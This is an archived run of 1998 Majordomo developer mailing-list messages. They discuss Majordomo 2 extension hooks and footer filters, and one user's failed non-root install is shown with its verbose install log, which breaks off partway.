Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 10:15:06 -0500 In-Reply-To: Oliver Xymoron's message of "Fri, 16 Oct 1998 22:06:35 -0500 (CDT)" Message-ID: Lines: 12 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "OX" == Oliver Xymoron writes: OX> The message goes where you sent it. But recipients on lists that remove OX> other lists from the headers only see it addressed to a single list. Dammit, I was being dense for some reason. Of course it does where I send it; the list server can't control that. I must have had a mental break or something. I'm definitely interested in what you come up with. - J< From majordomo-workers-owner Sun Oct 18 16:29:32 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA11403; Sun, 18 Oct 1998 16:06:20 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id QAA11393 for majordomo-workers@greatcircle.com; Sun, 18 Oct 1998 16:06:17 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id LAA22465 for ; Sat, 17 Oct 1998 11:15:57 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA13314; Sat, 17 Oct 1998 13:35:08 -0500 (CDT) To: Oliver Xymoron Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 13:35:08 -0500 In-Reply-To: Oliver Xymoron's message of "Sat, 17 Oct 1998 11:59:29 -0500 (CDT)" Message-ID: Lines: 17 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "OX" == Oliver Xymoron writes: OX> The MJ2 way to do it is probably to allow the site owner to upload OX> modules to GLOBAL somewhere that are automatically 'use'd. Neat, but OX> also kindof scary. That would be just too insecure. I'll just have one file that Mj2 pulls in when it starts up that can contain all of the local hacks, define new config variables, add additional commands, etc. I see no way to make this remotely maintainable and I can't possibly imagine how you could make it both secure and useful at the same time. The idea is to provide a standardized way for a site owner to add new functionality without having to patch the heck out of the code (or even to understand it). - J< From majordomo-workers-owner Sun Oct 18 16:45:27 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA11390; Sun, 18 Oct 1998 16:06:16 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id QAA11380 for majordomo-workers@greatcircle.com; Sun, 18 Oct 1998 16:06:13 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA21407 for ; Sat, 17 Oct 1998 09:21:02 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA11692; Sat, 17 Oct 1998 11:40:15 -0500 (CDT) To: Oliver Xymoron Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 17 Oct 1998 11:40:14 -0500 In-Reply-To: Oliver Xymoron's message of "Sat, 17 Oct 1998 10:52:15 -0500 (CDT)" Message-ID: Lines: 30 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "OX" == Oliver Xymoron writes: OX> The point of the remove filter is to try to reduce excess quoting of OX> the footer. Of course, the damn thing shouldn't be quoted at all. Man, that really irks me when a thread builds up with 50 lines of quoted footer at the end. If it wasn't such a major inconvenience for many of my list members I'd just bounce them all. OX> Without the removal, it's also liable to kick off the administrivia OX> filters in resend anyway. Because of the 10 line limit, you have to taboo-filter the things. OX> My point in describing all this is that it probably makes sense for me OX> to add the crosspost filtering I mentioned to this pre-resend filter OX> rather than to resend itself. I would just stick a subroutine call somewhere early in resend to avoid firing off so many subprocesses. In Mj2 I can just call a hook when Mj::Resend::post starts up and pass it a MIME Entity (plus other stuff, of course). You could do anything you wanted with that hook. The only difficulty is deciding where the site owner defines these hooks and, of course, in what hooks we have. (One before filtering, one after filtering, one after header and body modification, I suppose.) I'm willing to add these kinds of hackables wherever they're needed. - J< From majordomo-workers-owner Sun Oct 18 17:00:01 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA11358; Sun, 18 Oct 1998 16:06:06 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id QAA11349 for majordomo-workers@greatcircle.com; Sun, 18 Oct 1998 16:06:03 -0700 (PDT) Received: from waste.org (waste.org [38.225.68.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA21030 for ; Sat, 17 Oct 1998 08:33:28 -0700 (PDT) Received: by waste.org id <83445-499>; Sat, 17 Oct 1998 10:52:15 -0500 Date: Sat, 17 Oct 1998 10:52:15 -0500 (CDT) From: Oliver Xymoron Reply-To: Oliver Xymoron To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 17 Oct 1998, Jason L Tibbitts III wrote: > >>>>> "OX" == Oliver Xymoron writes: > > OX> The message goes where you sent it. But recipients on lists that remove > OX> other lists from the headers only see it addressed to a single list. > > Dammit, I was being dense for some reason. Of course it does where I send > it; the list server can't control that. I must have had a mental break or > something. > > I'm definitely interested in what you come up with. Last night I wrote some Perl filters that go before and after resend to remove and insert an administrivia message footer respectively (for MJ1, obviously). I've put this on one moderately busy list for test purposes. The point of the remove filter is to try to reduce excess quoting of the footer. The removal logic is to look for two or more consecutive lines _quoted_ lines from the footer and remove them. As I mentioned, this is not doable in general, but two or more lines should hopefully give enough context to make problems very unlikely. Without the removal, it's also liable to kick off the administrivia filters in resend anyway. It does extremely primitive checks for PGP signed and Content-Length headers so that it can avoid damaging "fragile" messages. The filters are placed such that resend, the digester, and the archiver never see the footers. My point in describing all this is that it probably makes sense for me to add the crosspost filtering I mentioned to this pre-resend filter rather than to resend itself. MJ2, as a more monolithic package, would have to use other tricks to allow this kind of hack. -- "Love the dolphins," she advised him. "Write by W.A.S.T.E.." From majordomo-workers-owner Sun Oct 18 17:15:29 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA11446; Sun, 18 Oct 1998 16:06:41 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id QAA11432 for majordomo-workers@greatcircle.com; Sun, 18 Oct 1998 16:06:34 -0700 (PDT) Received: from smtp.thegrid.net (smtp.thegrid.net [209.162.1.11]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id QAA25816 for ; Sat, 17 Oct 1998 16:17:39 -0700 (PDT) Received: (qmail 28874 invoked from network); 17 Oct 1998 23:36:48 -0000 Received: from pop.thegrid.net (209.162.1.5) by smtp.thegrid.net with SMTP; 17 Oct 1998 23:36:48 -0000 Received: from bytewaresys.com (lax-ts3-h2-44-50.ispmodems.net [209.162.44.50]) by pop.thegrid.net (8.9.1a/8.9.1) with SMTP id QAA08378; Sat, 17 Oct 1998 16:36:41 -0700 (PDT) Received: from titanic by bytewaresys.com ; 17 Oct 98 23:35:18 UT From: "Tim Treaster" To: "Jason L Tibbitts III" Cc: Subject: Virtual Server Install Prob. Date: Sat, 17 Oct 1998 16:35:09 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 9.0, Build 4.71.2233.5 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk I downloaded from CVS less than an hour ago. Having trouble completing the install of (CVS) MJ2. I am on a virtual server. I do not have root access. I have access to only 1 user/group ID. I'm told by my provider that I do not need root access to install. I should use the "Virtual" program instead. Here is how I make/install the program: virtual /usr/local/bin/perl Makefile.PL make make test virtual make install verbose=1 Everything is fine until: "Error executing /usr/local/mj2/bin/mj_shell, 65280 at postinstall line 418" The actual verbose output is included at the END of this message. ********* ls -la ~/usr/local/mj2/bin total 62 drwxr-xr-x 2 byteware vuser 512 Oct 17 16:53 . drwxrwxr-x 5 byteware vuser 512 Oct 3 19:49 .. -r-xr-xr-x 1 byteware vuser 6031 Oct 17 16:51 .mj_confirm -r-xr-xr-x 1 byteware vuser 11843 Oct 17 16:50 .mj_email -r-xr-xr-x 1 byteware vuser 3218 Oct 17 16:51 .mj_resend -r-xr-xr-x 1 byteware vuser 21940 Oct 17 16:50 .mj_shell -r-s--s--x 1 byteware vuser 2476 Oct 17 16:51 mj_confirm -r-s--s--x 1 byteware vuser 2474 Oct 17 16:51 mj_email -r-s--s--x 1 byteware vuser 2475 Oct 17 16:51 mj_resend -r-s--s--x 1 byteware vuser 2474 Oct 17 16:51 mj_shell -r-xr-xr-x 1 byteware vuser 3614 Oct 17 16:51 mj_trigger ************** When I run mj_shell it just exits - no output. ************** Running .mj_shell: bytewaresys: {19} % pwd /usr/home/byteware/usr/local/mj2/bin bytewaresys: {20} % ~/usr/local/mj2/bin/.mj_shell BEGIN: not found $::LIBDIR: not found $::LISTDIR=: not found $::DEFDOM: not found $::LOCKDIR=: not found $::WTMPDIR=: not found $::UMASK: not found $::UID: not found $::GID: not found {__WARN__}: not found /usr/home/byteware/usr/local/mj2/bin/.mj_shell: 16: Syntax error: "}" unexpected ************* I answered YES to: need wrappers ************* When I install without the wrappers the install fails in a big way. If this output would help, please let me know. *********** If a syscall trace would be helpful - You will need to tell me how to run it. ************ Begin ************ Skipping /usr/local/mj2/lib/./auto/Mj/Format/accept.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/alias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/archive.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/auxwho.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/configdef.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/configset.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/configshow.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/createlist.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/filesync.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/faq.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/help.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/info.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/lists.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/password.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/put.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/register.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/reject.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/sessioninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/show.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/showtokens.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/subscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/tokeninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/unalias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/unregister.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/unsubscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/which.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/who.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/g_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/g_sub.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/eprint.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/eprintf.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/escape.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/prepend.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/indicate.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Format/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/make_envelope.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/make_qqenvelope.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/sendenvelope.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/flush.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/sender.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Deliver/Dest/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Inform/_inform_owner.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Inform/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Parser/parse_entity.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Parser/parse_part.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Parser/parse_line.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Parser/add_deflist.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Parser/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/validate_passwd.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/flush_passwd_data.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_build_passwd_data.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_gen_pw.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/global_access_check.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/list_access_check.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_deny.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_denymess.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_allow.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_conf_cons.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_confirm.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_consult.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_forward.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_reply.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_replyfile.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_mailfile.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_a_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_d_advertise.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_d_password.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_d_post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/_d_subscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Access/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/accept.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/alias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/archive.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/auxadd.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/auxremove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/auxwho.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/configdef.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/configset.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/configshow.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/createlist.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/faq.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/filesync.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/help.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/index.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/info.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/lists.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/newfaq.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/newinfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/newintro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/password.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/put.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/register.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/reject.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/sessioninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/show.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/showtokens.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/subscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/tokeninfo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/unalias.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/unregister.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/unsubscribe.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/which.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/who.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/g_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/g_remove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/TextOutput/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/allowed.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/groups.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/comment.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/instructions.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/intro.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/isarray.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/isauto.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/isparsed.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/visible.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/mutable.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/type.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/vars.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/lock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/unlock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/atomic_set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/set_to_default.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/save.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_load_old.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_save_new.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_defaults.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_filename.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_filename_old.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_access_rules.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_address.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_address_array.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_attachment_rules.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_bool.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_delivery_rules.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_digests.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_directory.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_enum.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_inform.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_integer.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_list_array.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_pw.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_passwords.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_regexp.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_regexp_array.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_restrict_post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_string.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_string_array.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_string_2darray.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_taboo_body.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_taboo_headers.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_welcome_files.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_word.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_xform_array.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/global_get.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_table.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/parse_keyed.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_compile_rule.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_str_to_offset.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/_str_to_clock.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Config/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/mail_message.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/mail_entity.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/deliver.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/owner_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/owner_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/owner_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/welcome.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/MailOut/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/post_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/post_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/post_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_post.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_check_approval.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_check_header.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_check_body.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_r_ck_body.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_ck_theader.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_ck_tbody_line.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_check_mime.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_describe_taboo.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_trim_approved.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/_add_fters.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Resend/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_gen.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_remove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/confirm.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/consult.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_accept.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_reject.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_info.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_remind.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/t_expire.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/_make_tokendb.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/Token/autosplit.ix (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/remove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/is_subscriber.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/make_setting.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_str_to_time.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_str_to_time_dm.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/default_class.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/default_flags.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/flag_set.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/describe_flags.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/describe_class.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/get_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/get_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/get_matching_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/get_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/search.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/get_member.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/subscriber_rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_add.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_remove.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_get_start.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_get_chunk.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_get_done.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_is_member.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_rekey_all.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/aux_rekey.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/_fill_aux.al (unchanged) Skipping /usr/local/mj2/lib/./auto/Mj/List/fs_get.al (unchanged) Skipping 